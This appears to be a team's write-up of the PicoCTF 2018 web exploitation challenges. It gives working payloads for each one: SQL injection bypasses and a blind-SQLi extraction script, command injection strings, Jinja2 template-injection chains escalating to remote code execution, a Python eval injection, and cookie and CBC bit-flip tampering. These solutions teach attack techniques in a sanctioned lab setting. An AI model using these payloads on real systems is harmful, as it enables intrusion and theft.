Complete writeup of every web exploitation challenge from PicoCTF 2018. Our team placed 7th overall.
Challenges are ordered by point value. Each includes the vulnerability class, solution approach, and relevant payload.
Inspect Me - 125 pts
The flag is split across the HTML source, CSS file, and JavaScript file.
View Source → part 1 of flag in HTML comment
Link to style.css → part 2 in CSS comment
Link to script.js → part 3 in JS comment
Concatenate all three parts. Developer tools or curl + grep works.
Client Side is Still Bad - 150 pts
Login form with client-side credential validation in JavaScript.
// credentials hardcoded in verify.js
if (username === 'admin' && password === 'XXXXXXXX') {
// grant access
}
Read the JavaScript source. Credentials are in plaintext.
Logon - 150 pts
Login form that sets a cookie after authentication. The cookie controls access.
After logging in with any credentials, inspect cookies. There’s an admin cookie set to False. Change it to True.
Cookie: admin=True
Refresh the page. Flag displayed.
Irish Name Repo - 200 pts
Login form vulnerable to SQL injection. The query checks the username field against a database.
Username: ' or 1=1 --
Password: anything
Classic authentication bypass via SQLi. The -- comments out the password check.
Mr. Robots - 200 pts
The challenge name hints at robots.txt.
GET /robots.txt
The disallowed path contains the flag or a path leading to it.
No Login - 200 pts
No login form visible. The application checks for an admin cookie that doesn’t exist by default.
Cookie: admin=True
Set the cookie manually and request the page. Flag returned.
Secret Agent - 200 pts
The page checks the User-Agent header and only serves the flag to a specific browser or agent.
curl -A "googlebot" https://challenge-url/flag
Test common User-Agent strings: googlebot, PicoBrowser, etc. The challenge accepts a specific agent string mentioned in the page source.
Buttons - 250 pts
Two buttons on a page. One uses a GET request, the other uses POST. The POST button leads to the flag.
curl -X POST https://challenge-url/button2
The page source shows one button wraps a form with method="POST". Submit that form.
The Vault - 250 pts
Similar to Irish Name Repo - SQL injection in the login form, but with a basic filter that blocks injection in the username field.
The password field is also injectable and unfiltered:
Username: admin
Password: ' or 1337=1337 --
Alternatively, use multiline SQL comments to bypass the filter on username:
Username: adm'/**/or/**/1=1/**/--
Password: anything
Artisanal Handcrafted HTTP 3 - 300 pts
The challenge requires manually crafting raw HTTP requests. Connect via netcat and send a properly formatted HTTP request.
echo -e "GET / HTTP/1.1\r\nHost: challenge-url\r\n\r\n" | nc challenge-host port
The response contains instructions for subsequent requests. Follow the chain - each response tells you what to send next (different methods, headers, body content). The final response contains the flag.
Flaskcards - 350 pts
A Flask application with a card creation feature. User input is rendered through Jinja2 templates without sanitization.
Server-Side Template Injection (SSTI):
Card content: {{ 7*7 }}
If the card displays 49, SSTI is confirmed. Extract the flag:
{{ config }}
Or read files via Python’s __import__:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Navigate the class hierarchy to find subprocess.Popen or os.popen and read the flag file.
fancy-alive-monitoring - 400 pts
A web application that pings a user-supplied host to check if it’s alive. Classic command injection.
The input is passed to a shell command. Inject with command separators:
; cat /flag.txt
Or if semicolons are filtered:
$(cat /flag.txt)
Or newline injection:
127.0.0.1%0Acat%20/flag.txt
Secure Logon - 500 pts
Login form that sets an encrypted cookie after authentication. The encryption uses CBC mode with a predictable IV or no integrity check.
After logging in as a regular user, the cookie contains encrypted user data including an admin=0 field. Using a CBC bit-flipping attack, modify the ciphertext to change admin=0 to admin=1.
The bit-flip targets the IV or previous ciphertext block at the byte position corresponding to the 0 in admin=0. XOR the byte with ord('0') ^ ord('1') = 0x01.
cookie = bytearray(base64.b64decode(encrypted_cookie))
# Flip the byte at the offset of '0' in 'admin=0'
cookie[offset] ^= ord('0') ^ ord('1')
modified = base64.b64encode(bytes(cookie))
Send the modified cookie. Flag displayed.
Flaskcards Skeleton Key - 600 pts
Same Flask application as Flaskcards, but the flag is in the Flask secret key used for session signing.
SSTI to read the config:
{{ config['SECRET_KEY'] }}
The secret key is the flag. Alternatively:
{{ config.items() }}
Lists all configuration values including the secret key.
Help Me Reset 2 - 600 pts
Password reset flow that asks security questions. The answers can be found through other pages on the application.
Explore the application - profile pages, about pages, user listings. The security question answers (favorite color, pet name, etc.) are leaked elsewhere in the application. Use the answers to reset the target account password and log in.
A Simple Question - 800 pts
Login form with a SQL injection vulnerability, but this time it’s a blind SQLi - the application only tells you “correct” or “incorrect.”
Use boolean-based blind SQL injection to extract the password character by character:
Username: admin' AND SUBSTRING(password,1,1)='a' --
Automate with a script that iterates through positions and characters:
import requests
password = ""
for pos in range(1, 20):
for c in "abcdefghijklmnopqrstuvwxyz0123456789":
payload = f"admin' AND SUBSTRING(password,{pos},1)='{c}' -- "
r = requests.post(url, data={"user": payload, "pass": "x"})
if "correct" in r.text.lower():
password += c
break
The extracted password is the flag or grants access to it.
Flaskcards and Freedom - 870 pts
SSTI again, but this time the goal is Remote Code Execution to read a flag file on the server.
The SSTI from Flaskcards still works, but the flag isn’t in the config. It’s in a file on the filesystem.
Escalate SSTI to RCE through Python’s class hierarchy:
{{ ''.__class__.__mro__[1].__subclasses__()[X]('cat /flag.txt', shell=True, stdout=-1).communicate() }}
Where X is the index of subprocess.Popen in the subclasses list. Find it first:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Search the output for Popen, note its index, and use it in the RCE payload.
LambDash 3 - 900 pts
A calculator application that evaluates expressions. The backend uses Python eval() or a similar mechanism.
Input: __import__('os').popen('cat /flag.txt').read()
If direct __import__ is blocked, use the same class hierarchy traversal as the SSTI challenges to reach os.popen.
Input: ().__class__.__bases__[0].__subclasses__()[X](['cat', '/flag.txt'], stdout=-1).communicate()[0]
Summary
| Challenge | Points | Vulnerability |
|---|---|---|
| Inspect Me | 125 | Information disclosure (source code) |
| Client Side is Still Bad | 150 | Client-side authentication |
| Logon | 150 | Cookie manipulation |
| Irish Name Repo | 200 | SQL injection |
| Mr. Robots | 200 | robots.txt disclosure |
| No Login | 200 | Cookie manipulation |
| Secret Agent | 200 | User-Agent spoofing |
| Buttons | 250 | HTTP method tampering |
| The Vault | 250 | SQL injection (filter bypass) |
| Artisanal Handcrafted HTTP 3 | 300 | HTTP protocol knowledge |
| Flaskcards | 350 | SSTI (Jinja2) |
| fancy-alive-monitoring | 400 | Command injection |
| Secure Logon | 500 | CBC bit-flipping |
| Flaskcards Skeleton Key | 600 | SSTI → config leak |
| Help Me Reset 2 | 600 | Information leakage |
| A Simple Question | 800 | Blind SQL injection |
| Flaskcards and Freedom | 870 | SSTI → RCE |
| LambDash 3 | 900 | Code injection (eval) |
Vulnerability classes covered: source inspection, cookie manipulation, SQL injection (classic, blind, filter bypass), command injection, SSTI (read → RCE escalation), CBC bit-flipping, HTTP protocol manipulation, code injection.